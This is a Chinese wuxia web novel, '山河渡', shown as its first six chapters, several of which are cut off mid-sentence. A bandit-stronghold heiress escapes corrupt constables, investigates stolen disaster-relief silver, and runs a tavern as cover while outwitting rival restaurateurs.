《山河渡》 1. 不得善终? 《山河渡》全本免费阅读 “阿娘,你说希望女儿一生平安喜乐,寻一如意郎君,得子孙满堂。 可女儿这十余年来,日夜为噩梦惊醒,梦中大水泛滥,水天皆黄,无数人于水中挣扎呼救,最后了无生息坠入水底。 数万人沉尸水底,十万百姓流离失所,农田淹没,房屋摧折,饿殍遍地。 醒来困于生计,落草为寇,见人心反复。女儿不得其解,为何人活一世,这般难? 为口腹奔波,为生存操劳,还要被误解,被伤害,被抛弃? 究竟,幸福从何得?” 背刀素衣女子正施展轻功于雪地中疾驰,无意间抬头望天,只见雪花洋洋洒洒的在天中戏舞,不见旭日,纵览穹苍,尽是一片苍茫。 地上雪深数尺,白雪压着枯枝。 女子行至一处山崖前,见其纵深千尺,此处荒无人烟,唯大雪,枯木,天地耳。 胤姜转身停下,眉目肃杀,紧随而来的则是三四十名持弯刀的捕快。 她身背双刀——长约两尺,宽约两寸,近半人高。 刀鞘由乌木制成,看上去并不花哨,甚至简单,宽大的绸布将刀鞘包裹着,露出的刀柄处似用某种兽皮制成,看上去异常细腻舒适。 胤姜冷笑,“呵,劫掠百姓逼良为贱者你们不去抓,横行乡里欺男霸女者你们不敢动,平民百姓贱如草芥你们不在乎,如今却要为难我一个女子? 可笑至极!” 胤姜本在河州办事,惊闻朝廷押送的二十万赈灾银失踪,西南三州官府皆认为是云雾山上的土匪劫银,正大肆剿匪。 胤姜却觉蹊跷。 在她看来,云雾山上的匪寨没有这个能力能从朝廷派遣的精锐手中夺银,也没有那个胆子公然谋反,便昼夜加急往兖州赶,想查赈灾银失踪一事。 不想行至半路,遇见一群被拐的孩童,她仗义出手,成功救出那群孩童,并将孩童送至官府找其家人,顺路将拐子也扭送官府。 没想到其中一个拐子认出她的武功招式,猜测她是庆安寨的少当家,当即在堂上攀咬起来。 而那胖县令摸着胡须,听得连连点头,觉得一个女子不在家里相夫教子,反而混迹江湖打打杀杀,就算不是匪,也必不守妇道,需要教训。 胤姜见势不对,趁众人还未反应过来之际洒了迷烟逃出城,却被一路追至此。 一捕头衣衫的男人说,“束手就擒吧,你无路可逃了!” 胤姜眉眼肃然,“那拐子根本胡编乱造,你们不查证据,偏听偏信,就说我是土匪,想要我的命,天理何在? 你们根本不在乎我是不是土匪,你们只要抓人交差就行!要是真遇上土匪,只怕谁也没你们跑得快!” 那捕头气恼,“县老爷说你是土匪,你便是土匪!还要什么理由?官字两张口,轮得到你指摘什么? 莫说说你是匪,便是说你为奴为娼都可以,官府抓人,从来天经地义,你若是现在束手就擒,回去的路上我还能让你好受一点!” 胤姜反笑,“我听闻三州府衙下了命令,要在三个月内杀尽云雾山上的土匪,一个土匪的人头奖励一袋大米? 你们便为了那一袋大米,想要弄虚作假吗?那群拐子,你们打算以什么名头斩了?不会是匪寇吧?!” 灾荒年月,银不值钱,粮食值钱。一袋白米,多少人家都吃不起,只能吃糠喝稀饭。 被言中心事,捕头不再多言,眼神示意手下三十余人动手。 胤姜是时拔出双刀,迎面朝捕头砍去,右手刀堪堪被捕头抵挡,身后又上来一捕快想偷袭,胤姜反身朝捕快一踢,又借力砍向捕头。 彼时捕头持刀挡住那攻势,却不料忽略下路,胤姜左手刀直插捕头腹部,穿透而出,霎时白刀变红刃。 擒贼先擒王,胤姜毫不留情拔出手中刀,捕头直挺挺的倒下,双目圆睁,死不瞑目。 剩下的捕快见此情景更加悲愤,使足了力气,联手朝胤姜扑来。 胤姜和三十余人缠斗,身上被砍了不少刀,素色衣裳已被染红,体力也渐渐不支。 此时场上还剩下二十人,胤姜长刀垂入地下,勉力支撑自己站立,气喘不止,鲜血滴滴坠落,在雪地上绽出花朵。 那二十余捕快连成半圈,逐步朝胤姜逼近,“杀了她!杀了她,就有粮食了!” 胤姜闻言抬眸,看向说话之人,“你们真可怜,被人卖了还要感恩戴德。若不是官府无德,岂会流民遍野,粮价虚高?民缺衣少食,苟活而已! 此次赈灾银一事,押送赈灾银的俱是军中精锐,领队的更是战功赫赫的灵风将军黎清元,你们真觉得云雾山的土匪有这般能耐,能令一介英豪命丧于此?!” 黎清元,曾经带兵三千,奇袭南越五万大军,最后以少胜多,夺回来了边城沛水,更俘虏了南越亲王,换来了南越和大梁签订百年和平盟约。 捕快们面面相觑,他们听过灵风将军的威名,但是又怎么样呢?他们只是捕快,世人眼中的贱役,官府里的苦力,那些大人物的生死,与他们有何关系? 天塌下来,总有高个儿顶着。 他们只管得自己眼前这一亩三分地就行,只要杀死这个女人,将她当成庆安寨少当家交上去,他们就可以领大米回家,那可是香喷喷的大米,不是米糠,不是米渣。 捕快们不为所动,胤姜凝眸,眼中拂过一丝哀戚,家国之事,怎会与庶民无关? 人人若皆高高挂起,袖手旁观—— 无人于边境保家御敌,无人于庙堂为民请命,无人于乡野伸张正义,有人击鼓鸣冤视若罔闻,有人家破人亡受尽欺凌,有人沦为他国奴隶生不如死。 又该是怎样的世道? 胤姜惨然一笑,不正是如今吗? 十五年前如此,十五年后依然如此,日月变幻,却原来什么都没变,不,变得更糟了。 胤姜用仅剩的力气朝断崖奔去,纵身一跃,便直直坠下。 在下坠时,胤姜试图将双刀插进空隙中,以阻止自己下落,终是插进土中,又下滑了一点,胤姜死死抓住刀柄,两臂亦有伤,因用力过重,此时鲜血大量渗出。 胤姜脸色苍白,嘴唇亦惨白,豆大的汗珠密密地冒出,浸湿了头发。 真是痛,太痛了。她快坚持不住了。 胤姜想,她竟会以这样的方式死去——行善积德,却不得善终。 其实这群捕快也没冤枉她,胤姜的确是庆安寨的少当家,但是庆安寨隐于云雾山深处,素来与世无争,那是一方乐土,如世外桃源。 她忽然想念庆安寨中的一草一木。 若是她现在在寨中,可以吃徐师傅做的美食,辅导桃子的课业,拉李山川和余瑶一起练武,一起偷懒,一起偷吃寨民酿的腌菜。 等大雪的时候,整个寨子都会点燃火把,彻夜通明,照的寒夜也暖洋洋的。 2. 伪装开始 《山河渡》全本免费阅读 胤姜侥幸没被摔死。 她本以为自己将要命丧于此,不想竟被她发现对岸山崖有处洞穴。 虽然此处山崖有草腾,看上去足够坚韧,但是要荡到对岸去,还是有点玄,尤其是她现在身受重伤的情况。 但这是唯一可能的活路,胤姜将左手刀插于力之所及的腰腹位置的土壤中,牢牢抓住左手刀,把右手刀又往下插半个身子的位置。 偶刀柄不稳,胤姜都胆战心惊,她想靠刀缓慢往下爬,她心知如果一直这样用力,不等到山底她便精尽而亡了,所以她是想下到对岸洞穴那个位置。 如此反复,胤姜到达洞穴的水平位置。 此时双臂鲜血如注,哪怕她刻意模糊自己的痛觉,但是看见这血淋淋的手臂,也不免发怵。 胤姜又瞧着下面云雾缭绕不见底,心中打颤,手也发抖起来。 她需要药。 胤姜终于找到落脚点,哪怕只是略微凸出来的石头,她也得稍微喘息。 搜寻浑身,她自己是常备了药的,服下好几颗金疮药,好似精神回来一些。她又搜搜找找,意外发现一个竹筒,这好像是那个男人的? 胤姜当时见那个男人死死护住这竹筒,便觉此物不简单,非必要时刻她也不会用。 如今——胤姜打开竹筒,却听“嗖——”一声划破天际,一道红色信号烟冲入云霄,在灰天中绽放成一朵红色火花。 胤姜目瞪口呆,完了,这东西到底招来的是男人的敌人还是朋友呀?! 不管怎么样,这动静说不定捕快们还要返回来看她死没有,她得赶紧过去才行! 休养半刻,胤姜死死抓住草腾,又抽出双刀,开始往对岸荡去。 皇天不负苦心人,经过二十余次的摇荡,她终于将双刀插进了对岸洞穴入口处的土壤,人也顺势借力往上爬。 胤姜躺在地上,大口大口喘气,活过来了,真好。 胤姜从山顶往下走,幸得山中猎户相助,休养了几日,伤也好得差不多了。 她先回了庆安寨一趟,一是想回家看看,二是借人手——经此一劫,她甚至更为坚定,一定要将赈灾银失窃的幕后黑手抓出来! 不然,他们会以剿匪为借口抓百姓充数——为了完成府衙下发的任务,侥幸存活下来的百姓又将再遭一次劫难。 而另一方面,云雾山的土匪构成复杂,纵然有烧杀抢掠无恶不作之辈,亦不乏只偏安一隅的纯良之人。 更何况,只有找到赈灾银,才能重建故土,才能慈济灾民,才能让一切恢复如旧。 人是很顽强的生物,十五年前那场大水,死了数万人,摧毁了无数人的家园,终用了两三年的时间,人们从那场灾难带来的痛楚中走出来。 胤姜经过一段时间的休养生息,找好帮手,终行至兖州府观音县境内,而观音县,便是赈灾银失踪地,千余赈灾官兵葬身地。 这有一座破庙。四周开阔,地势低平,不远处还有小溪径流,可取水休息。 此破庙方圆一里内就是赈灾银的劫掠现场,据打听来的消息,昨年腊月十四那晚,赈灾队伍行至此处,因着天色渐晚,他们便在此处夜宿。 此时她在破庙附近到处晃悠,距离赈灾银失踪已一月有余,现场的痕迹应该已经消失得差不多。 但胤姜还是心存侥幸,希望在这里发现一点线索。 当时有千余名士兵在附近安置营帐,应该有不少生活的痕迹,胤姜也确实发现,有不少被整齐砍下的木棒堆放在一起,偶尔几处还有燃尽的灰尘。 据了解,赈灾银被劫那晚,下了很大的雨。暴雨哗啦,此处又远离城镇、村落,所以不论是官兵和凶手的打杀声、求救声,都被淹没于那夜的狂风暴雨中。 胤姜蹲下,看着枯草地上已经干涸的血迹,翘起一块土壤,亦沾染着墨红色的血迹。 胤姜惶然四顾,一个月前的雨夜,这里死了一千多人,一切究竟是怎么发生的? “少当家,有发现!”一英俊小伙跑来,皮肤黝黑,身材精瘦。 胤姜端详着李山川从破庙半损的神像中翻找出来的断刃,断刃只有刀尖部分,长约一寸,刀身薄如蝉翼,然刀锋异常锋利。 胤姜将刀锋对准石头,重重一划,那刀锋竟深入石头两寸,一道明显的裂痕显现在几人眼前,当真削铁如泥! “阿川,你觉得兖州城,不,西南三州,有哪个师傅能炼出这样的刀?” 胤姜自己就是使刀的行家,平素亦喜欢搜寻宝刀和名匠,但是能锻造出这种刀刃的师傅,她还没遇见过。 而能砍断这把刀的人,又是何等的武力高强? 胤姜脑海中浮现出一个名字——灵风将军黎清元。 想来他与刺客当夜在此激烈交手,胤姜环顾破庙,发现庙中门窗、顶梁柱、地面、天顶,无一例外都有不少刀痕。 咦? 胤姜将仅剩的刀尖对准梁柱上的刀痕,刀尖处竟完全重合? 或许是巧合,毕竟,刀的款式并没有那么多花样。 胤姜不信邪的拿出自己的刀比对,并不能完全重合,脑袋一空。 正是时,“什么人?!” 刚刚偷懒回来的一队约十余人的值勤将士发现了他们的踪迹,胤姜等庆安寨人被惊动赶快撤出。 李山川藏于他们视线盲区,假做一声猫叫“喵——”,众将士又一检查庙中无人,也放下心来。 一晃月余,二月春风吹到兖州,春寒消融,万物复苏,街上都恢复了不少喜气。 胤姜撑着脑袋,看着窗下行人来来往往,时不时招呼李山川喊几句揽客,然这酒楼中仍是门庭冷落。 也是,这年景不太好,百姓们都习惯在自家做饭吃,很少出来吃酒,而那些达官显贵想要吃酒,也会挑选淮安本地的大酒楼,才不会选她这个才开了半个月的新店。 来淮安半月,她稍摸到一点风土人情,给自己安了一个寡妇的身份,租了个酒楼做伪装。 胤姜本想,酒楼鱼龙混杂,是各种小道消息集散之处。她可以边打听消息,边筹谋找银之事。 为此,胤姜还特地找来庆安寨中的大厨,以及会酿酒的帮手来帮她扎根立足。 没想到,出师不捷啊。 不知何时,天上飘起了小雨,悠扬的雨粒随风摇曳,大地为黑色笼罩,那细白于这黯淡月夜里,竟显出几分寂寥来。 折翠居——也就是胤姜租的酒楼,还未关门,大门半掩,暖黄的烛光透出门外,衬得那空落落、黑漆漆的街道都有了丝烟火气。 恰此时,折翠居外传来声响。 门外站着一主一仆二人,主子衣着华贵,一身靛青色绣麒麟纹镶金边锦袍。然这华服的主人硬生生压住了这身衣服。 面如冠玉,长眉入鬓,薄唇微红,凤眸淡漠,肤质玉白,一副养尊处优的模样。 他身后只有一个侍从,穿得也简单,只一身墨色常服,肩上背着行囊,气质冷冽,看上去不易亲近。 侍从先开口问,“可还有房间住宿?” 他二人一路走来,要么还没开门,要么已经客满,要么店小脏破,主子瞧不上。 胤姜本想着晚点关门,没想到还真让她捞到客人了,看模样打扮还是贵客? 胤姜嘴角带笑,整整衣裙,上前自信询问道,“两位客官,是打算住多久?本店包早中晚饭,定不会让你们失望。” 来人凤眼柔情妩媚,一颦一笑间显风姿绰约,一身浅绿轻罗衫,上织月白比翼蝶镶银边,身姿婀 3. 搭台唱戏 《山河渡》全本免费阅读 梁玺开口,“雪娘子,这些是我的伙计,今晚上靠你了,有什么好吃好喝的都安排上,全记我账上。”说完又拿出一锭金子递给胤姜。 胤姜讷讷收下,心想,这厮是下金子的母鸡变的吗?随手一拿全是金子,合着一两银子都不配装你洛少爷口袋吗? 想归想,胤姜很是热情的叫伙计们招待这些客人,厨房很快升起炊烟袅袅。 梁玺面向大堂里的伙计说了几句,又转身吩咐那行敲锣打鼓的队伍。很快那行队伍就绕着淮安城转了好几圈。 全城都知道了一个消息,城中即将开一家商行,名叫泰极商行。 与普通的商行不一样,这家商行的服务内容五花八门,下至信件、鸡鸭蔬菜,上至珠宝玉器,只要是你想买的物件都有。 另外,泰极商行既不与民争利,还会利用现成的人力物力办生意—— 一来,将平日里四处奔波的货郎收归旗下,为己所用,给他们稳定的工钱让他们养家糊口。 货郎熟悉地形和人事,毕竟行走街头多年,消息灵通,做起事情来也轻车熟路。 二来,挽救即将倒闭的齐丰商行,商行之人肯定对其感激涕零,做起事来加倍努力。 再者,名声上占据道德高地,旁人提起,都会觉得他洛公子是个大方心善的主儿。 三来嘛,胤姜盯着窗外的太阳,春日阳光并不刺眼,却依然灿烂不容直视——凭这些声势,他可以接触兖州的青天大老爷了。 如此看来,他花在她们这些店家、仆役身上的这点小钱也不算什么。 毕竟,知府大人,现在应该对他这个大财主很感兴趣。 只是为何在她这里办酒席?而不选大酒楼呢? 胤姜也直接问出来了,梁玺闻言,淡笑,“时也运也,我来的时候,恰只有折翠居开门,最合我意。” 胤姜心想,还真是有钱难买你乐意! 明明是怕大酒楼店大欺客,现在找她这个新酒楼,正好拿钱来砸死她,可不就任他使唤? 胤姜忍住心中气愤,刻意装作洗耳恭听的模样,看向梁玺的眼光带着钦佩, “洛公子,你也知道,雪娘一个寡妇,经营这家业,并不是多容易的事情,洛公子家大业大,想来于经商一道很有心得,不知可否赐教一二?” 胤姜还刻意朝梁玺迈了一步。 胤姜今日穿一身绯色坠地纱裙,上绣合欢花纹镶银边,秀发如墨,轻点唇脂,凤眸微潋,正是月貌花容。 美人香气隐隐萦绕,眼前美人明眸善睐,正一眨不眨的望着他,眼中似有涓涓水流。 梁玺摇着折扇的手微微一顿,与胤姜拉出一点距离,神情稍疏离,嘴上却客气, “我也是初出茅庐,不过有些家学渊源罢了。其实雪娘子也不需要怎么做,帮我两件事即可。” 胤姜一愣。 也在这几日,淮安府衙为了彰显剿匪有成效,特意将活捉的土匪们拉出来溜溜—— 他们被衙役拘着,各个带着厚重的手镣脚镣,迎接着沿街百姓扔来的青菜烂叶臭鸡蛋。 官府还沿路张贴公示,追捕在逃土匪,奖赏颇丰。 有那喜好看热闹的百姓,躲进街边的酒楼,于二楼凭栏处伸长脖子瞧好事,边磕瓜子边喜笑颜开,时不时与身边人交谈几句。 这大底是自昨年那场秋汛以来,淮安城上下最喜气洋洋的一天了。 多日的阴霾似乎一扫而尽,只是偶有几个不知趣的百姓,会提一嘴,“赈灾银呢?” 也有那不懂事的伙计,专挑这个时候找茬,“客官,你都喝了五壶茶了,请问中午还需要吃点什么吗?” 说话的是个黑皮伙计,正是李山川。 看得津津有味的客官不乐意,吐出一口瓜子,“我光喝茶不行?我不饿! 怎么,我给了钱的,喝茶还不行了?”说完从怀中掏出五个铜板,狠狠扔桌上。 “自然是可以的。”一道轻灵女声,无意中安抚了闹事客人的情绪,正是胤姜。 “我家小二不懂事,客官莫见怪才是。本店刚开张不久,客官作为来光顾的新客,是有优惠的。 本店特出的梅花酿,如今五折销售,只要五文钱一坛,客官可以试试。” 胤姜姗姗来迟,她打圆场道,“这般好日子,来一壶热酒,岂不是快哉!”面带微笑。 又面向酒楼中吃堂食的顾客朗声说道,“为庆贺官府得胜而归,今日本店吃食一律五折出售,还望各位客官吃好喝好!” 这是胤姜临时想到的,借这个好兆头来一波折扣,应该能吸引不少百姓掏钱。 酒楼中顿时响起一阵喝彩声,“好!老板娘豪气!” 忙活到傍晚,胤姜想早些打烊,却迟迟没等来送货的店家,便主动前去询问。 胤姜甫一到,便见那店家正点头哈腰,笑得谄媚,店家的正对面,站着几个衣着富贵之人,左边一人,身材瘦削,尖脸长目,瞧着颇精明。 中间一人瞥见胤姜,略有不屑,摸了摸山羊胡子,朝那店家不知说了什么。 待胤姜走近,便听到一男声,“一个女人家,开酒楼?我开了这么多年酒楼,也没见几个开得走!” 说话的是右边一人,倒是符合一般富贵人家的体型,大腹便便,脸倒是白嫩,犹如发面馒头一般,偏眼如绿豆,瞧着倒是眼冒精光。 胤姜闻其冷言冷语,心知这是冲她来的。 这几个月兖州府的生意都难做得很,便是府城淮安,也好不到哪里去。 而酒楼行当,素来都是男子经营,虽然大梁民风开放,女子亦有经商,但多是丝织绣品、诗词书画之类的。 再说,接连两天一二十桌的流水席,想来是惹了不少人的红眼。 胤姜心中嗤笑,却主动走向那几人,朗朗开口道,“雪娘想,几位便是客来轩、斋鲜楼、有味馆的掌柜吧?” 这三家酒楼,乃是淮安城排行前三的酒楼。 虽然平日里关系不怎么好,但此时,都团结起来好像要给她这个不懂事的晚辈一个教训。 三人被认出,却在意料之中,毕竟他们的长相挺有特色,哪怕是稍微打听一下,都知道他们的身份。 山羊胡子说话不客气,“想来你就是折翠居的雪娘子了?来淮安开了快一个月的酒楼,怎么都没走动走动?” 这是直指胤姜不懂礼数,新店开张,都没去拜他们这些老前辈的码头。 之前是她生意不好,他们懒得跟个女人计较,现在都这么出风头了,可不得计较计较? 年轻人,你这样做事,可容易被人拿捏把柄!三个老家伙揣着架子不放。 胤姜心知之前忙着打 4. 胜负已分 《山河渡》全本免费阅读 约好今晚在缥缈阁会面,胤姜没打算食言。 夜晚时分,月上枝头,花月巷中,脂粉香浓,人影绰绰,男女调笑声不断,举止暧昧。 眼前楼宇富丽堂皇,层楼叠翠,鎏金牌匾洋洋洒洒的写着三字“缥缈阁”。 门外不似其他花楼有花娘迎客,只余几个清秀面孔的龟公招呼客人。 胤姜一身柳绿百褶坠地流沙裙,碧玉簪轻挽起灵蛇髻,面如芙蓉,行走时衣衫带风,然一根轻软腰带系于腰间,又似能盈盈一握,飘飘然如天仙。 给了龟公二两银子,胤姜施施然入得齐内,一进其内便闻得异香扑鼻。 大厅中央设有巨尺舞台,一群妖娆身姿舞女正翩翩起舞,席间弦乐不止,明亮璀璨的红烛正顽强与晚风对抗,好一副歌舞升平的场面。 胤姜眉眼冷了一梢又恢复平静,找到缥缈阁的老鸨喜二娘,塞了一锭金子, “二楼一间厢房。若余掌柜他们仨来,便让他们上去便是。只是,喜妈妈,小厨房借我用一下。” 喜二娘素来见惯场面事,眼前女子来者不善,却非她风月行人,她何必去插手? 又见胤姜身后还跟了一个富态的胖子和一个黑皮帅小伙,两人手中都提着漆黑食盒,皆神色不善。 欢欢喜喜的送走胤姜三人,再瞧见余掌柜三人时,喜二娘又两头吃,“哎呀,余老板,你们和小娘子吃饭便吃饭,何必来我这里? 那小娘子,带着人呐,凶得很,可不像省油的灯。” 山羊胡子乃是斋鲜楼的余掌柜,斋鲜楼作为兖州府第一大酒楼,什么达官显贵没见过。不过一个小女子,他有什么放在眼里的。 根本没在乎喜二娘的话,还点了几个歌姬舞娘作陪,气势汹汹便领头往包间里走。 胤姜正静坐在圆桌旁,瞧见三人进来,便起身相迎。 瘦削脸是客来轩的章掌柜,见胤姜果真在这,不由出言嘲讽,“雪娘子果真是女中豪杰,不同凡响呀,还真约我们三人来此宴乐。 其实章某当日不过随口一提,雪娘子觉得不方便,自是可以拒绝的。” “雪娘虽是女子,也知一言既出驷马难追的道理。既然三位前辈想在此做宴,雪娘又怎能婉拒呢?” 三人坐定,歌舞声色起,皆逐渐露出不堪面貌,左拥右抱,好不快活。 那白胖子,也就是有味馆的白掌柜,得美酒壮声色,瞧着胤姜八风不动、正襟危坐的模样,不由得色心大起。 一曲歌舞作罢,休息时分竟端来一盘素菜,模样瞧着甚是新奇。 胤姜朗声开口,声如冷泉,“此乃珍珠白玉,三位掌柜观其颜色,可猜出是何用料?” 雕花磁盘中赫然摆放着三个玲珑剔透的半圆球,外皮白嫩,隐有汁液流动, 圆球顶未被外皮包裹,裸露于外的肉质鲜嫩,略洒几缕切碎了的葱花,翠绿映白甚是鲜嫩, 盘中还盛着乳白色的汤汁,闻着十分清爽。 三人不曾见过此般清爽玲珑的点心,知道胤姜来者不善,酒意清醒几分。 余掌柜一摸山羊胡,眼中闪过一丝精光,“雪掌柜是有意一争洛公子要摆的那场大席?” 胤姜微笑点头,并未否认。莫说她要争,眼前这三人,谁没有心思? 章掌柜神色晦暗,盯着桌上那道素菜,忽然开口说道, “萝卜—— 这外皮是白萝卜,我想应该是将一整根白萝卜剥洗干净,然后经过精雕细琢,去掉萝卜里的果肉,特意制成半圆形,然后往里面填铺切碎了的肉渣吧?” 胤姜保持微笑又一点头。 见她如此作态,白掌柜却是憋不住了, “里面放的不就是猪肉吗?挑些瘦肉肥肉攉在一起,再洒些姜末、葱白之类的佐料,搅拌成浆状,装进去不就完了?小儿科!” 胤姜却笑着摇头,“非也,此非猪肉也。再说这汤汁。”胤姜看向余掌柜。 余掌柜眉微皱,他很想说是萝卜熬成的汤,但是想来没这般简单。 萝卜单煮成汤可不会是乳白色,但若是和排骨或者肉一起煮,倒有点像了,问题是上面无一丝油花呀? 胤姜笑着催促,“余掌柜?” 余掌柜回过神来,装作笃信开口道, “雪掌柜还真是奢华,排骨炖萝卜煮成此汤,特意选取其中精华部分,不过舀一两大勺盛进碗里面即可。” 胤姜再笑着摇头,“非也非也。珍珠白玉是有一样昂贵的食材,却不是排骨,而是这肉。 作为一道饭前甜点,雪娘认为是足够了。” 被下颜面,三人脸色有些不好看。 张掌柜此时开口问道,“雪掌柜可告知这肉菜和汤汁究竟是什么,也让我等输个心服口服?” 胤姜示意歌舞伎退下, “很简单,这乃是我特意买来的虾肉,此虾名为花尾虾,产于东南沿海,春季正是此种虾类产卵旺季。 虾肉肉质清爽,富有弹性,味道更是鲜美。 而白萝卜清脆爽口,生吃略带些许辣味,合着混成浆状的虾肉一起蒸煮一盏茶时间,辣味便去了。 至于汤汁,更简单,煎一个老鸡蛋,倒入沸水,煮一炷香时间即可。 排骨炖萝卜虽好,却未必有点喧宾夺主,蛋汤可口,未必不是良配。” 白掌柜却是个沉不住气的性子, “胡言乱语,东南那边距兖州来回怎么也得一个月,洛公子要办酒席的消息才传出不过半天,你哪里来的花尾虾?” 胤姜故作惊讶,“白掌柜,洛公子开的泰极商行,你是一点也不重视呀! 你若真有心,怎么会没关注泰极商行究竟卖哪些东西? 花尾虾便是我在泰极商行买的,洛公子来此开商行,怎么会不做好打算? 他虽没敲锣打鼓说他那里有卖花尾虾,可他敢放出话说应有尽有,你怎么不去试一试呢? 我想,洛公子应该不止对雪娘我一人说过,帮他两个忙, 一是去他商行买东西,二是若有想要而商行没有的,及时告知于他,如此简单而已。” 胤姜话落,三人面色难看,他们没想到,洛朽今从一开始就是试探! 他们还只当他是个富家公子,来兖州做生意不过是玩玩水,玩完就算是败兴收场,也有他背后的家人担底,哪里知道竟是个如此精于商道之人? 三人心知,胤姜摆敢把花尾虾端上来,就是已经将货全都买完了 ——就像他们之前对她做的那样。他们便是想去泰极商行买东南沿海的鲜货,只怕也是白去一趟。 胤姜慢条斯理的站起来,整整衣裙, “三位掌柜,要想做别人的生意,首先就得让别人的生意做起来。 他自身都难保,又哪里有空来光顾你? 此次刘员外的酒宴,雪娘我势在必得。三位掌柜,还有什么赐教?” 三人不言,心知胤姜此行便是告诉他们,胜负已分,他们已然输了 ——洛朽今挑的是合 5. 全禄宴 《山河渡》全本免费阅读 春二月,雁衔枝,晴方艳好,正是开门待客日好时候。 折翠居内,众人天还未亮便起来忙活,今日洛大公子宴请刘玄刘员外,虽然只有一桌席,客人不过两三个,但是做菜并不轻松。 徐师傅年少从南方流落辗转至兖州,虽长于海边,却并不擅于烹煮海味。 不过,这场宴席,不求味道独绝,但求令人耳目一新。 彼时胤姜回想起在庆安寨的日子,寨中日子清苦,虽然家家户户皆有田地耕种,但是靠天吃饭,总有运气不好的时候,灾年难熬,就只好苦中作乐。 最值得开怀的,便是山中野趣。 庆安寨位置隐蔽,藏于断崖后,而断崖前有一汪幽泉,占地方圆百里,两岸松竹翠绿,蔚然成林,一眼望去,美不胜收。 粮食少,然寨中还有千余张嘴要吃饭,山中百姓多吃过竹筒饭,庆安寨占地有优势,更是家家户户必备佳肴。 胤姜想,竹筒饭或许稀松平常,可山珍海味就未必了 ——此山珍海味非日常所言,而是恰如其字,外表山珍模样,其实内含海味,便如萝卜裹虾肉。 何为外表山珍模样? 胤姜想,山中最不缺的便是绿,远望满山绿意盎然,抬头看树木高耸碧穹遮天,低头抚嫩绿野草顽强不息。 何为内含海味? 胤姜买下了泰极商行所有的海味,如今最不缺的便是鱼虾蟹。 胤姜心中拿定主意,摆一场“全禄宴”——西南俚语“绿”同“禄”。 餐盘皆以墨白二色为主,但重头戏却在徐师傅身上,无他,唯他有手艺尔。 晌午将近,李山川已将“天一阁”收拾出来,房间两道摆满郁郁葱葱的青竹盆栽,刻意留出的走道则铺上了块头细小的鹅卵石。 于进门处,更摆放了两大缸陶瓷罐,清水填满,荷叶几株,莲花含苞待放,粉嫩异常,花叶下小鱼数条,颜色斑斓,正快活吞吐呼吸。 天一阁中燃有清香,似山中古木般久长厚重之味。墙上挂着几幅泼墨山水画,此时日头正烈,阳光穿过窗前竹帘,稀稀疏疏的透过来。 徐达徐师傅开始做最后一道菜,贵客便登门了。 刘玄身高七尺,年余四十,相貌儒雅,保养得宜,从头到尾衣着首饰皆低调,仔细打量却觉得富贵逼人,然人却甚是温和,行止之间不似商人,倒像文人。 胤姜今日为应景,刻意穿身月白织锦留仙裙,上绣翠竹纹样,边线处亦添几抹绿意。 只是恰好,梁玺亦穿了身金丝边象牙白青松纹长袍,刘玄见状,戏谑道,“看来刘我今日是多余了。” 胤姜浅笑,不当回事。 边领二人去天一阁,边回道,“雪娘特意为员外准备了一桌全禄宴,员外若真不来,岂非令雪娘一番心意错付?” 谈笑间,二人已坐定,胤姜立于一侧,两个伙计健步如飞却如履平地,一人手举两个餐盘,轻轻放下又复而回厨房上菜。 刘玄瞧着桌上绿意盎然,惊奇,“雪娘子,这是依何解?” 刘玄正前摆放的却是两支青竹模样的菜,“竹”半削,露出其中果肉——黄色的苞米,绿色的青豆,白嫩的虾肉。 胤姜拾起餐筷,各夹一筷至二人碗中,解释道,“自是希望员外和公子如青竹节节高 ——黄瓜清香可口,入口即脆,苞米香甜,豌豆温和,而虾肉鲜嫩,味正好。” 接下来几盘菜皆是如此,黄瓜、南瓜、莴笋、薄荷等绿色蔬菜被摆成各种吉祥形状,内里包含细碎的虾肉、鱼肉等海味。 “雪娘子有心。 刘我久居闹市,往来皆食人间烟火,却独独少这野外幽游之感,今日算是体会了一番隐士匿于山间逍遥自在的感觉。” 刘玄眉宇间似有忧愁。 胤姜见状,打趣道,“员外本已是富甲一方,如今又欲与洛公子合作,本该是大喜事一件,怎地似有烦心事一般?” 梁玺亦一副愿闻其详的模样。 刘玄似叹非叹,“还不也是银子的事,那笔银子丢了,下面灾民等着吃饭,上面又有朝廷施威,我们这些商户,难自保啊。” 梁玺出言提醒,“员外慎言。” 刘玄又饮下一杯竹叶青,“刘我真是喝多了。洛贤弟,你可知道,过几日那位大人要开始募捐了? 满城商贾,最近谁不是缩着头?不是刘我多言,洛贤弟,你近来也莫要再那么招摇,到时候只怕被宰个狠的。” 刘玄这话,竟透着几分对知府不满。 是试探,还是酒后吐真言? 梁玺闻言看向刘玄, “我初来乍到,对淮安事还有诸多不解,可我也曾打听过那位大人,他主政这些年兖州府也算得上太平。 他若想向商户募捐,或许也会相应给予厚利。” 刘玄闻言没说话,将杯中酒一饮而尽,“既是募捐,哪里还会再吐出来。” 梁玺不理他话中含义,固自答着, “我虽为商贾,但家国危难之际,便是舍身而出又何妨?钱财本身外物,若能挽救灾民于水火,也不算白费。” 刘玄闻言,鼓掌大笑,“贤弟高义,为兄佩服!” 又看向胤姜,“雪娘子,快快再上几壶酒来!我要与贤弟一醉方休!” 胤姜刚走出门外,李山川便端来一道大菜,餐盘乃长宽约莫五尺的圆盘,胤姜顺势叫李山川去拿酒来,复又回去。 胤姜将其掀开,赫然一副百花争艳图 ——牡丹娇艳、芍药清雅、桃花灼灼、水仙宁静,梅花孤傲,等数十种大小不等的花种,各花开在各枝头,俨然一副百花闹春之景。 胤姜解释,“绿叶也得红花来配,满室清幽,未免有点寥落。这道压轴菜,正好开在万籁俱寂之处,恰如春自来。” 刘玄连连大笑,“这些皆是用蔬菜做成的?这黄色的我猜是黄瓜,这白色的,莫不是萝卜? 这红的粉的,又是什么?还有,这花蕊是什么?” 胤姜笑答,“红的是甜菜根,便如其名,一口下去十分甜,而粉 6. 金玉园 《山河渡》全本免费阅读 痛饮过几杯,刘玄似酒意上头,摩挲着酒杯,神色不明,“洛贤弟,你在金玉园住得习惯吗?那地方虽不闹鬼,却实在不吉利。” 胤姜和梁玺乍一听到金玉园,不禁思索刘玄语中之意。 刘玄将杯中酒一饮而尽,却不再提这一话茬,大力一拍梁玺的肩膀,“贤弟,为兄今天很高兴,希望我们合作的生意日进斗金!” 二人杯酒下肚,开始侃侃其谈,无非生意上的话头,还有享乐尽欢之事,胤姜稍待片刻便离开天一阁,招呼其他客人。 日头西移,黄昏将至,刘府管家刘富面貌严肃,身材精瘦,扶着喝得醉醺醺的刘玄出门。 